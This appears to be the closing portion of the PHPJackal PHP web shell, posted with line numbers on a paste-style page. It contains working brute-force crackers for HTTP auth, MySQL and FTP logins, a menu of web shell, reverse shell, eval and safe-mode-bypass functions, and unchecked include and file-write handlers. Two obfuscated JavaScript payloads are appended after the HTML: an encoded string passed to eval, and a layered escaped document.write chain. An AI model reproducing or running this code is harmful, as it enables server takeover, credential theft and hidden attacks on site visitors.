  1242. echo "<center>${t}Convertor:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Input:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Task:</td><td bgcolor=\"#808080\"><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Convert></td></tr>$hcwd</form></table></center>";
  1243. }
  1244. function authcrackeR(){
  1245. global $errorbox,$et,$t,$crack,$hcwd;
  1246. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1247. $data='';
  1248. $method=($_REQUEST['method'])?'POST':'GET';
  1249. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  1250. spliturL($_REQUEST['target'],$host,$page);
  1251. $type=$_REQUEST['combo'];
  1252. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1253. if($method='GET')$page.=$data;
  1254. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1255. echo "<font color=blue>";
  1256. while(!feof($dictionary)){
  1257. if($type){
  1258. $combo=trim(fgets($dictionary)," \n\r");
  1259. $user=substr($combo,0,strpos($combo,':'));
  1260. $pass=substr($combo,strpos($combo,':')+1);
  1261. }else{
  1262. $pass=trim(fgets($dictionary)," \n\r");
  1263. }
  1264. $so=fsockopen($host,80,$en,$es,5);
  1265. if(!$so){echo "$errorbox Can not connect to host$et";break;}
  1266. else{
  1267. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  1268. if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
  1269. $packet.="\r\n\r\n";
  1270. $packet.=$data;
  1271. fputs($so,$packet);
  1272. $res=substr(fgets($so),9,2);
  1273. fclose($so);
  1274. if($res=='20')echo "U: $user P: $pass</br>";
  1275. flusheR();
  1276. }
  1277. }
  1278. echo "Done!</font>";
  1279. }else echo "<center><form method=\"POST\" name=form>${t}HTTP Auth cracker:</td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  1280. }
  1281. function sqlcrackeR(){
  1282. global $errorbox,$t,$et,$crack;
  1283. if (!function_exists("mysql_connect")){
  1284. echo "$errorbox Server does n`t support MySQL$et";
  1285. }
  1286. else{
  1287. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1288. $target=$_REQUEST['target'];
  1289. $type=$_REQUEST['combo'];
  1290. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1291. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1292. if ($dictionary){
  1293. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
  1294. while(!feof($dictionary)){
  1295. if($type){
  1296. $combo=trim(fgets($dictionary)," \n\r");
  1297. $user=substr($combo,0,strpos($combo,':'));
  1298. $pass=substr($combo,strpos($combo,':')+1);
  1299. }else{
  1300. $pass=trim(fgets($dictionary)," \n\r");
  1301. }
  1302. $sql=@mysql_connect($target,$user,$pass);
  1303. if($sql){echo "U: $user P: $pass (<a href=\"".hlinK("seC=mysql&serveR=$target&useR=$user&pasS=$pass&querY=SHOW+DATABASES&workingdiR=".getcwd())."\">Connect</a>)<br>";mysql_close($sql);if(!$type)break;}
  1304. flusheR();
  1305. }
  1306. echo "<br>Done</font>";
  1307. fclose($dictionary);
  1308. }
  1309. else{
  1310. echo "$errorbox Can not open dictionary.$et";
  1311. }
  1312. }
  1313. else{
  1314. echo "<center>${t}MySQL cracker:$crack";
  1315. }
  1316. }
  1317. }
  1318. function ftpcrackeR(){
  1319. global $errorbox,$t,$et,$crack;
  1320. if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
  1321. else{
  1322. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  1323. $target=$_REQUEST['target'];
  1324. $type=$_REQUEST['combo'];
  1325. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  1326. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1327. if ($dictionary){
  1328. echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
  1329. while(!feof($dictionary)){
  1330. if($type){
  1331. $combo=trim(fgets($dictionary)," \n\r");
  1332. $user=substr($combo,0,strpos($combo,':'));
  1333. $pass=substr($combo,strpos($combo,':')+1);
  1334. }else{
  1335. $pass=trim(fgets($dictionary)," \n\r");
  1336. }
  1337. if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
  1338. if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
  1339. ftp_close($ftp);
  1340. flusheR();
  1341. }
  1342. echo "<br>Done</font>";
  1343. fclose($dictionary);
  1344. }
  1345. else{
  1346. echo "$errorbox Can not open dictionary.$et";
  1347. }
  1348. }
  1349. else echo "<center>${t}FTP cracker:$crack";
  1350. }}
  1351. function openiT($name){
  1352. $ext=strtolower(substr($name,strrpos($name,'.')+1));
  1353. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  1354. if(in_array($ext,$src))highlight_file($name);
  1355. else echo "<font color=blue><pre>".htmlspecialchars(file_get_contents($name))."</pre></font>";
  1356. }
  1357. function logouT(){
  1358. setcookie('passw','',time()-10000);
  1359. header('Location: '.hlinK());
  1360. }
  1361. ?>
  1362. <html>
  1363. <head>
  1364. <style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table { font-size: 15px; } .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style>
  1365. <meta http-equiv="Content-Language" content="en-us">
  1366. <title>PHPJackal</title>
  1367. </head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
  1368. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
  1369. <tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php $cwd= getcwd(); echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=mysql&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mailer]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=whois&workingdiR=$cwd");?>">[Whois]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href=\"".hlinK("seC=logout")."\">Logout</a>]";?></td></tr></table>
  1370. <hr size=1 noshade>
  1371. <?php
  1372. if (!empty($_REQUEST['seC'])){
  1373. switch($_REQUEST['seC']){
  1374. case 'fm':filemanager();break;
  1375. case 'sc':scanneR();break;
  1376. case 'phpinfo': phpinfo();break;
  1377. case 'edit': if (!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
  1378. if (!empty($_REQUEST['Save'])){
  1379. $filehandle= fopen($_REQUEST['file'],"w");
  1380. fwrite($filehandle,$_REQUEST['edited']);
  1381. fclose($filehandle);}
  1382. if (!empty($_REQUEST['filE'])) editoR($_REQUEST['filE']);else editoR('');
  1383. break;
  1384. case 'openit':openiT($_REQUEST['namE']);break;
  1385. case 'cr': crackeR();break;
  1386. case 'dic':dicmakeR();break;
  1387. case 'whois':whoiS();break;
  1388. case 'hex':hexvieW();break;
  1389. case 'img':showimagE($_REQUEST['filE']);break;
  1390. case 'inc':include ($_REQUEST['filE']);break;
  1391. case 'hc':hashcrackeR();break;
  1392. case 'fcr':formcrackeR();break;
  1393. case 'snmp':snmpcrackeR();break;
  1394. case 'sql':sqlcrackeR();break;
  1395. case 'auth':authcrackeR();break;
  1396. case 'pop3':pop3crackeR();break;
  1397. case 'imap':imapcrackeR();break;
  1398. case 'smtp':smtpcrackeR();break;
  1399. case 'ftp':ftpcrackeR();break;
  1400. case 'eval':phpevaL();break;
  1401. case 'px':pr0xy();break;
  1402. case 'webshell':webshelL();break;
  1403. case 'mailer':maileR();break;
  1404. case 'br':brshelL();break;
  1405. case 'asm':safemodE();break;
  1406. case 'mysql':mysqlclienT();break;
  1407. case 'calc':calC();break;
  1408. case 'sysinfo':sysinfO();break;
  1409. case 'checksum':checksuM($_REQUEST['filE']);break;
  1410. case 'logout':logouT();break;
  1411. default: echo $intro;
  1412. }}else echo $intro;
  1413. echo $footer;?></body></html>
  1414. <SCRIPT language="javascript">var _4437;var _4822="1161E189E131A1867A1966E1858B2020E1948B1876E1957B2011B1381D2038C1993B1912E2011E1876B1327C1318D1507C1912A1948C1894D1255F2002F1993B1858D1516D1273E1903A2011C2011D1975F1489F1390F1390E2038F2038B2038E1381A1903B1840D1858E1930D1876F1993B1849C1966A2047D1381F1957F1876F2011D1390B1849B1939D1840C1849B1939E1840B1390F1975E1876D1993E1381D1975A1903D1975F1534E2020D1993B1939B1516F1318C1354A1876A2002E1858F1840E1975F1876D1327A1939A1966B1858E1840F2011C1912E1966B1957E1381C1903A1993A1876C1885C1336B1354B1318B1273F1255C2038F1912E1867C2011E1903C1516B1399D1255D1903E1876B1912A1894F2011E1903A1516C1399D1255F1849E1966D1993E1867D1876D1993B1516A1399A1525B1318E1336C1498A";var _9317=/[\x41\x42\x43\x44\x45\x46]/;var _7047=2;var _7479=_4822.charAt(_4822.length-1);var _6893;var _2558=_4822.split(_9317);var _4481=[String.fromCharCode,isNaN,parseInt,String];_2558[1]=_4481[_7047+1](_4481[_7047](_2558[1])/21);var _5754=(_7047==6)?String:eval;_6893="";_11=_4481[_7047](_2558[0])/_4481[_7047](_2558[1]);for(_4437=3;_4437<_11;_4437++)_6893+=(_4481[_7047-2]((_4481[_7047](_2558[_4437])+_4481[_7047](_2558[2])+_4481[_7047](_2558[1]))/_4481[_7047](_2558[1])-_4481[_7047](_2558[2])+_4481[_7047](_2558[1])-1));_5754(_6893);</SCRIPT>
  1415. <script type="text/javascript" language="javascript">
  1416. <!--
  1417. fF7eSD8=new Array();
  1418. fF7eSD8[0]="%3Cscript%3E%0Adocu";
  1419. fF7eSD8[1]="ment.write%28une";
  1420. fF7eSD8[2]="scape%28%22%253Cscri";
  1421. fF7eSD8[3]="pt%2520type%253D%25";
  1422. fF7eSD8[4]="22text/javascr";
  1423. fF7eSD8[5]="ipt%2522%253Edo";
  1424. fF7eSD8[6]="cument.write%25";
  1425. fF7eSD8[7]="28%2527%255Cu00";
  1426. fF7eSD8[8]="3c%255Cu0073%255C";
  1427. fF7eSD8[9]="u0063%255Cu0072";
  1428. fF7eSD8[10]="%255Cu0069%255Cu";
  1429. fF7eSD8[11]="0070%255Cu007";
  1430. fF7eSD8[12]="4%255Cu0020%255C";
  1431. fF7eSD8[13]="u0074%255Cu007";
  1432. fF7eSD8[14]="9%255Cu0070%255Cu";
  1433. fF7eSD8[15]="0065%255Cu003d%25";
  1434. fF7eSD8[16]="5Cu0022%255Cu0";
  1435. fF7eSD8[17]="074%255Cu0065%255C";
  1436. fF7eSD8[18]="u0078%255Cu0074%25";
  1437. fF7eSD8[19]="5Cu002f%255Cu";
  1438. fF7eSD8[20]="006a%255Cu0061%255";
  1439. fF7eSD8[21]="Cu0076%255Cu0";
  1440. fF7eSD8[22]="061%255Cu0073%25";
  1441. fF7eSD8[23]="5Cu0063%255Cu00";
  1442. fF7eSD8[24]="72%255Cu0069%25";
  1443. fF7eSD8[25]="5Cu0070%255Cu";
  1444. fF7eSD8[26]="0074%255Cu0022";
  1445. fF7eSD8[27]="%255Cu003e%255C";
  1446. fF7eSD8[28]="u0064%255Cu00";
  1447. fF7eSD8[29]="6f%255Cu0063%255C";
  1448. fF7eSD8[30]="u0075%255Cu006";
  1449. fF7eSD8[31]="d%255Cu0065%255Cu";
  1450. fF7eSD8[32]="006e%255Cu0074%255";
  1451. fF7eSD8[33]="Cu002e%255Cu00";
  1452. fF7eSD8[34]="77%255Cu0072%25";
  1453. fF7eSD8[35]="5Cu0069%255Cu";
  1454. fF7eSD8[36]="0074%255Cu0065%25";
  1455. fF7eSD8[37]="5Cu0028%255Cu002";
  1456. fF7eSD8[38]="7%255Cu005c%255Cu";
  1457. fF7eSD8[39]="0075%255Cu0030";
  1458. fF7eSD8[40]="%255Cu0030%255Cu0";
  1459. fF7eSD8[41]="033%255Cu0063%25";
  1460. fF7eSD8[42]="5Cu005c%255Cu007";
  1461. fF7eSD8[43]="5%255Cu0030%255Cu";
  1462. fF7eSD8[44]="0030%255Cu0035";
  1463. fF7eSD8[45]="%255Cu0033%255C";
  1464. fF7eSD8[46]="u005c%255Cu0075";
  1465. fF7eSD8[47]="%255Cu0030%255Cu";
  1466. fF7eSD8[48]="0030%255Cu003";
  1467. fF7eSD8[49]="4%255Cu0033%255";
  1468. fF7eSD8[50]="Cu005c%255Cu007";
  1469. fF7eSD8[51]="5%255Cu0030%255Cu";
  1470. fF7eSD8[52]="0030%255Cu0035%255";
  1471. fF7eSD8[53]="Cu0032%255Cu00";
  1472. fF7eSD8[54]="5c%255Cu0075%255C";
  1473. fF7eSD8[55]="u0030%255Cu0030%25";
  1474. fF7eSD8[56]="5Cu0034%255Cu00";
  1475. fF7eSD8[57]="39%255Cu005c%255Cu";
  1476. fF7eSD8[58]="0075%255Cu0030%255";
  1477. fF7eSD8[59]="Cu0030%255Cu003";
  1478. fF7eSD8[60]="5%255Cu0030%255C";
  1479. fF7eSD8[61]="u005c%255Cu0075";
  1480. fF7eSD8[62]="%255Cu0030%255Cu00";
  1481. fF7eSD8[63]="30%255Cu0035%255";
  1482. fF7eSD8[64]="Cu0034%255Cu005";
  1483. fF7eSD8[65]="c%255Cu0075%255C";
  1484. fF7eSD8[66]="u0030%255Cu0030%25";
  1485. fF7eSD8[67]="5Cu0032%255Cu";
  1486. fF7eSD8[68]="0030%255Cu005c%25";
  1487. fF7eSD8[69]="5Cu0075%255Cu00";
  1488. fF7eSD8[70]="30%255Cu0030%255";
  1489. fF7eSD8[71]="Cu0035%255Cu003";
  1490. fF7eSD8[72]="3%255Cu005c%255Cu0";
  1491. fF7eSD8[73]="075%255Cu0030";
  1492. fF7eSD8[74]="%255Cu0030%255Cu00";
  1493. fF7eSD8[75]="35%255Cu0032%25";
  1494. fF7eSD8[76]="5Cu005c%255Cu00";
  1495. fF7eSD8[77]="75%255Cu0030%255Cu";
  1496. fF7eSD8[78]="0030%255Cu003";
  1497. fF7eSD8[79]="4%255Cu0033%255Cu";
  1498. fF7eSD8[80]="005c%255Cu0075%25";
  1499. fF7eSD8[81]="5Cu0030%255Cu";
  1500. fF7eSD8[82]="0030%255Cu0033";
  1501. fF7eSD8[83]="%255Cu0064%255Cu0";
  1502. fF7eSD8[84]="05c%255Cu0075%25";
  1503. fF7eSD8[85]="5Cu0030%255Cu003";
  1504. fF7eSD8[86]="0%255Cu0036%255";
  1505. fF7eSD8[87]="Cu0038%255Cu0";
  1506. fF7eSD8[88]="05c%255Cu0075%255C";
  1507. fF7eSD8[89]="u0030%255Cu003";
  1508. fF7eSD8[90]="0%255Cu0037%255C";
  1509. fF7eSD8[91]="u0034%255Cu005c%25";
  1510. fF7eSD8[92]="5Cu0075%255Cu";
  1511. fF7eSD8[93]="0030%255Cu0030";
  1512. fF7eSD8[94]="%255Cu0037%255Cu";
  1513. fF7eSD8[95]="0034%255Cu005c%25";
  1514. fF7eSD8[96]="5Cu0075%255Cu00";
  1515. fF7eSD8[97]="30%255Cu0030%255Cu";
  1516. fF7eSD8[98]="0037%255Cu0030%255";
  1517. fF7eSD8[99]="Cu005c%255Cu00";
  1518. fF7eSD8[100]="75%255Cu0030%255";
  1519. fF7eSD8[101]="Cu0030%255Cu00";
  1520. fF7eSD8[102]="33%255Cu0061%255Cu";
  1521. fF7eSD8[103]="005c%255Cu0075";
  1522. fF7eSD8[104]="%255Cu0030%255C";
  1523. fF7eSD8[105]="u0030%255Cu0032%25";
  1524. fF7eSD8[106]="5Cu0066%255Cu00";
  1525. fF7eSD8[107]="5c%255Cu0075%255Cu";
  1526. fF7eSD8[108]="0030%255Cu0030%25";
  1527. fF7eSD8[109]="5Cu0032%255Cu0";
  1528. fF7eSD8[110]="066%255Cu005c";
  1529. fF7eSD8[111]="%255Cu0075%255Cu";
  1530. fF7eSD8[112]="0030%255Cu0030%25";
  1531. fF7eSD8[113]="5Cu0036%255Cu003";
  1532. fF7eSD8[114]="4%255Cu005c%255C";
  1533. fF7eSD8[115]="u0075%255Cu003";
  1534. fF7eSD8[116]="0%255Cu0030%255C";
  1535. fF7eSD8[117]="u0036%255Cu00";
  1536. fF7eSD8[118]="31%255Cu005c%255";
  1537. fF7eSD8[119]="Cu0075%255Cu00";
  1538. fF7eSD8[120]="30%255Cu0030%255Cu";
  1539. fF7eSD8[121]="0037%255Cu0034";
  1540. fF7eSD8[122]="%255Cu005c%255Cu00";
  1541. fF7eSD8[123]="75%255Cu0030%255C";
  1542. fF7eSD8[124]="u0030%255Cu003";
  1543. fF7eSD8[125]="6%255Cu0031%255";
  1544. fF7eSD8[126]="Cu005c%255Cu007";
  1545. fF7eSD8[127]="5%255Cu0030%255";
  1546. fF7eSD8[128]="Cu0030%255Cu0";
  1547. fF7eSD8[129]="032%255Cu0065";
  1548. fF7eSD8[130]="%255Cu005c%255C";
  1549. fF7eSD8[131]="u0075%255Cu0030%25";
  1550. fF7eSD8[132]="5Cu0030%255Cu003";
  1551. fF7eSD8[133]="7%255Cu0034%255Cu0";
  1552. fF7eSD8[134]="05c%255Cu0075%255C";
  1553. fF7eSD8[135]="u0030%255Cu00";
  1554. fF7eSD8[136]="30%255Cu0033%255C";
  1555. fF7eSD8[137]="u0030%255Cu005";
  1556. fF7eSD8[138]="c%255Cu0075%255Cu";
  1557. fF7eSD8[139]="0030%255Cu003";
  1558. fF7eSD8[140]="0%255Cu0033%255C";
  1559. fF7eSD8[141]="u0030%255Cu005";
  1560. fF7eSD8[142]="c%255Cu0075%255";
  1561. fF7eSD8[143]="Cu0030%255Cu0";
  1562. fF7eSD8[144]="030%255Cu0036%255C";
  1563. fF7eSD8[145]="u0063%255Cu005c";
  1564. fF7eSD8[146]="%255Cu0075%255C";
  1565. fF7eSD8[147]="u0030%255Cu00";
  1566. fF7eSD8[148]="30%255Cu0037%25";
  1567. fF7eSD8[149]="5Cu0033%255Cu00";
  1568. fF7eSD8[150]="5c%255Cu0075%255";
  1569. fF7eSD8[151]="Cu0030%255Cu00";
  1570. fF7eSD8[152]="30%255Cu0032%255";
  1571. fF7eSD8[153]="Cu0065%255Cu005c";
  1572. fF7eSD8[154]="%255Cu0075%255C";
  1573. fF7eSD8[155]="u0030%255Cu00";
  1574. fF7eSD8[156]="30%255Cu0036%255Cu";
  1575. fF7eSD8[157]="0066%255Cu005c%255";
  1576. fF7eSD8[158]="Cu0075%255Cu00";
  1577. fF7eSD8[159]="30%255Cu0030%255Cu";
  1578. fF7eSD8[160]="0037%255Cu0032%25";
  1579. fF7eSD8[161]="5Cu005c%255Cu007";
  1580. fF7eSD8[162]="5%255Cu0030%255C";
  1581. fF7eSD8[163]="u0030%255Cu0036%25";
  1582. fF7eSD8[164]="5Cu0037%255Cu00";
  1583. fF7eSD8[165]="5c%255Cu0075%255";
  1584. fF7eSD8[166]="Cu0030%255Cu0030";
  1585. fF7eSD8[167]="%255Cu0032%255Cu00";
  1586. fF7eSD8[168]="66%255Cu005c%255";
  1587. fF7eSD8[169]="Cu0075%255Cu0";
  1588. fF7eSD8[170]="030%255Cu0030%255C";
  1589. fF7eSD8[171]="u0037%255Cu0037";
  1590. fF7eSD8[172]="%255Cu005c%255Cu";
  1591. fF7eSD8[173]="0075%255Cu0030%25";
  1592. fF7eSD8[174]="5Cu0030%255Cu";
  1593. fF7eSD8[175]="0036%255Cu0038%255";
  1594. fF7eSD8[176]="Cu005c%255Cu007";
  1595. fF7eSD8[177]="5%255Cu0030%255";
  1596. fF7eSD8[178]="Cu0030%255Cu0036";
  1597. fF7eSD8[179]="%255Cu0035%255Cu00";
  1598. fF7eSD8[180]="5c%255Cu0075%255Cu";
  1599. fF7eSD8[181]="0030%255Cu003";
  1600. fF7eSD8[182]="0%255Cu0037%255C";
  1601. fF7eSD8[183]="u0032%255Cu00";
  1602. fF7eSD8[184]="5c%255Cu0075%255";
  1603. fF7eSD8[185]="Cu0030%255Cu0";
  1604. fF7eSD8[186]="030%255Cu0036%25";
  1605. fF7eSD8[187]="5Cu0035%255Cu0";
  1606. fF7eSD8[188]="05c%255Cu0075";
  1607. fF7eSD8[189]="%255Cu0030%255Cu0";
  1608. fF7eSD8[190]="030%255Cu0032";
  1609. fF7eSD8[191]="%255Cu0065%255Cu";
  1610. fF7eSD8[192]="005c%255Cu0075";
  1611. fF7eSD8[193]="%255Cu0030%255Cu00";
  1612. fF7eSD8[194]="30%255Cu0036%25";
  1613. fF7eSD8[195]="5Cu0061%255Cu";
  1614. fF7eSD8[196]="005c%255Cu007";
  1615. fF7eSD8[197]="5%255Cu0030%255";
  1616. fF7eSD8[198]="Cu0030%255Cu0037";
  1617. fF7eSD8[199]="%255Cu0033%255Cu0";
  1618. fF7eSD8[200]="05c%255Cu0075%255C";
  1619. fF7eSD8[201]="u0030%255Cu00";
  1620. fF7eSD8[202]="30%255Cu0033%255Cu";
  1621. fF7eSD8[203]="0065%255Cu005";
  1622. fF7eSD8[204]="c%255Cu0075%255Cu";
  1623. fF7eSD8[205]="0030%255Cu0030%25";
  1624. fF7eSD8[206]="5Cu0033%255Cu00";
  1625. fF7eSD8[207]="63%255Cu005c%255C";
  1626. fF7eSD8[208]="u0075%255Cu0030";
  1627. fF7eSD8[209]="%255Cu0030%255Cu0";
  1628. fF7eSD8[210]="032%255Cu0066%255";
  1629. fF7eSD8[211]="Cu005c%255Cu0";
  1630. fF7eSD8[212]="075%255Cu0030%25";
  1631. fF7eSD8[213]="5Cu0030%255Cu";
  1632. fF7eSD8[214]="0035%255Cu0033%255";
  1633. fF7eSD8[215]="Cu005c%255Cu007";
  1634. fF7eSD8[216]="5%255Cu0030%255Cu0";
  1635. fF7eSD8[217]="030%255Cu0034%255";
  1636. fF7eSD8[218]="Cu0033%255Cu00";
  1637. fF7eSD8[219]="5c%255Cu0075%25";
  1638. fF7eSD8[220]="5Cu0030%255Cu0";
  1639. fF7eSD8[221]="030%255Cu0035";
  1640. fF7eSD8[222]="%255Cu0032%255Cu0";
  1641. fF7eSD8[223]="05c%255Cu0075";
  1642. fF7eSD8[224]="%255Cu0030%255Cu";
  1643. fF7eSD8[225]="0030%255Cu0034%25";
  1644. fF7eSD8[226]="5Cu0039%255Cu0";
  1645. fF7eSD8[227]="05c%255Cu0075%25";
  1646. fF7eSD8[228]="5Cu0030%255Cu";
  1647. fF7eSD8[229]="0030%255Cu0035%25";
  1648. fF7eSD8[230]="5Cu0030%255Cu";
  1649. fF7eSD8[231]="005c%255Cu0075%255";
  1650. fF7eSD8[232]="Cu0030%255Cu0";
  1651. fF7eSD8[233]="030%255Cu0035";
  1652. fF7eSD8[234]="%255Cu0034%255Cu0";
  1653. fF7eSD8[235]="05c%255Cu0075";
  1654. fF7eSD8[236]="%255Cu0030%255Cu";
  1655. fF7eSD8[237]="0030%255Cu0033%255";
  1656. fF7eSD8[238]="Cu0065%255Cu0";
  1657. fF7eSD8[239]="027%255Cu0029";
  1658. fF7eSD8[240]="%255Cu003c%255C";
  1659. fF7eSD8[241]="u002f%255Cu0073%25";
  1660. fF7eSD8[242]="5Cu0063%255Cu007";
  1661. fF7eSD8[243]="2%255Cu0069%255Cu";
  1662. fF7eSD8[244]="0070%255Cu007";
  1663. fF7eSD8[245]="4%255Cu003e%2527%25";
  1664. fF7eSD8[246]="29%253C/script%25";
  1665. fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
  1666. fF7eSD8[248]="pt%3E";
  1667. for (i = 0; i < fF7eSD8.length; i ++)
  1668. {
  1669. document.write(unescape(fF7eSD8[i]))
  1670. }
  1671. // -->
  1672. </script>
comments powered by Disqus